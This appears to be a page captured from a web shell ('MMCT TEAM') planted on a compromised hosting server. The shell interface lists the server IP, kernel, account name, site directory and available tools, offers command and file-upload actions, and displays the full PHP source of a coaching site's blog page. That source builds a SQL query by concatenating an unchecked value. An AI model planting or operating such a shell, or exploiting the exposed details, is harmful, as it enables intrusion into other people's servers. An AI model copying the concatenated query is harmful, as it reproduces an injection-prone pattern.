MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.22.42.189
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/leetcoaching.co.in/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/leetcoaching.co.in/blog.php
<!doctype html>
<html class="no-js" lang="zxx">

<head>
    <meta charset="utf-8">
    <meta http-equiv="x-ua-compatible" content="ie=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <?php include("top-link.php") ?>
    
    <title>Mission Engeenering | Blogs</title>
    <meta name="description" content="Mission Engeenering | Blogs">
    <style>
    .it-blog-item p{
        font-size:15px;
    }
</style>
</head>

<body>

    <?php include("header.php"); ?>

    <main>
        
        <div class="it-breadcrumb-area it-breadcrumb-bg" data-background="<?php echo $wspath;?>assets/img/breadcrumb/breadcrumb.jpg">
            <div class="container">
                <div class="row ">
                    <div class="col-md-12">
                        <div class="it-breadcrumb-content z-index-3 text-center">
                            <div class="it-breadcrumb-title-box">
                                <h1 class="it-breadcrumb-title">Blogs</h1>
                            </div>
                            <div class="it-breadcrumb-list-wrap">
                                <div class="it-breadcrumb-list">
                                    <span><a href="<?php echo $wspath;?>">home</a></span>
                                    <span class="dvdr">//</span>
                                    <span>Blogs</span>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        
        
        <div class="it-blog-area  pt-30 pb-30">
            <div class="container">
               <div class="row">
                   <div class="col-xl-12">
                        <div class="it-gallery-title-box text-center pb-10">
                            <span class="it-section-subtitle-5">
                                <i class="fa-light fa-book"></i>
                                Blogs
                                <i class="fa-light fa-book"></i>
                            </span>
                            <h2 class="it-section-title-3">Our Blogs</h2>
                        </div>
                    </div>
                <?php
                    $sqlblg = "SELECT * FROM tbl_blog WHERE `blog_status` = 'Active' ORDER BY `b_id` DESC";
                    $runblg = mysqli_query($db,$sqlblg);
                    if(mysqli_num_rows($runblg) > 0){
                    while($datablg = mysqli_fetch_assoc($runblg)){
                    $dateString=$datablg['date'];
                    $timestamp = strtotime($dateString);
                    $formattedDate = date("d-M-Y", $timestamp);
                    $by=$datablg['submit_by'];
                    $sqlby = "SELECT * FROM tbl_member WHERE m_id='$by'";
                    $runby = mysqli_query($db,$sqlby) or die("Query Not run");
                    $databy = mysqli_fetch_assoc($runby);
                ?>
            <div class="col-xl-4 col-lg-4 col-md-6 mb-30">
                <div class="it-blog-item-box" data-background="assets/img/blog/bg-1.jpg">
                    <div class="it-blog-item">
                        <div class="it-blog-thumb fix">
                            <a href="<?php echo $wspath?>blog<?php echo $datablg['slug_link'];?>.html">
                                <img src="<?php echo $wspath ?>admin/images/property-image/<?php echo $datablg["image"] ?>"  width="100%"></a>
                        </div>
                        <!--<div class="it-blog-meta pb-15">-->
                        <!--    <span>-->
                        <!--        <i class="fa-solid fa-calendar-days"></i>-->
                        <!--       <?php echo $formattedDate;?></span>-->
                        <!--    <span>-->
                        <!--        <i class="fa-light fa-messages"></i>-->
                        <!--        Comment (06)</span>-->
                        <!--</div>-->
                         <h4><a href="<?php echo $wspath?>blog<?php echo $datablg['slug_link'];?>.html"><?php echo $datablg["title"] ?></a></h4>
                        <!--<p class="it-blog-title">-->
                            <?php echo $datablg["short_description"]?>
                            <!--</p>-->
                        <a class="it-btn sm" href="<?php echo $wspath?>blog<?php echo $datablg['slug_link'];?>.html">
                            <span>
                                read more
                                <svg width="17" height="14" viewBox="0 0 17 14" fill="none"
                                    xmlns="http://www.w3.org/2000/svg">
                                    <path d="M11 1.24023L16 7.24023L11 13.2402" stroke="currentcolor" stroke-width="1.5"
                                        stroke-miterlimit="10" stroke-linecap="round" stroke-linejoin="round" />
                                    <path d="M1 7.24023H16" stroke="currentcolor" stroke-width="1.5"
                                        stroke-miterlimit="10" stroke-linecap="round" stroke-linejoin="round" />
                                </svg>
                            </span>
                        </a>
                    </div>
                </div>
            </div>
            <?php } } ?>
        </div>
    </div>
</div>
        
        
         </main>

    <?php include("footer.php"); ?>
</body>

</html>

MMCT - 2023